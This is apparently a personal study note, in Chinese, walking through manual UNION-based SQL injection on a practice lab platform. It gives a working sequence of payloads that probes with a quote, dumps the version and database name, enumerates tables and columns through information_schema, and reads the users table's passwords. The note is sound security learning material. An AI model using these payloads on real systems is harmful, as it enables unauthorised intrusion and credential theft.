所謂SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。具體來說,它是利用現有應用程序,將(惡意的)SQL命令注入到后台數據庫引擎執行的能力,它可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網站上的數據庫,而不是按照設計者意圖去執行SQL語句。-----百度百科
我用的是看雪論壇提供的平台:http://43.247.91.228:84/
一般來說習慣先加一個單引號(英文),來判斷
其中%27為單引號通過url編碼而來,其他的編碼可以參考百度百科的 https://baike.baidu.com/item/URL%E7%BC%96%E7%A0%81/3703727?fr=aladdin,由上圖可知加單引號報錯錯誤
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
將單引號分開些,貌似可以更好的理解
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' ' 1' ' LIMIT 0,1' at line 1
發現單引號並沒有匹配,由此可知sql語句為:
select * from users where id='$id'
所以我們使用: and '1'='1 進行匹配:
返回正常
構造語句
id=-1 ' union select 1,2,3 --+
id=-1 ' union select 1,version(),3 --+
數據庫版本
查看數據庫
id=-1 ' union select 1,database(),3 --+
查看表
-1 'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479 --+
查看users表
union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273
發現users表中有 id username password 三個字段,查看password
-1'union select 1,password,3 from users--+
個人理解,可能存在錯誤。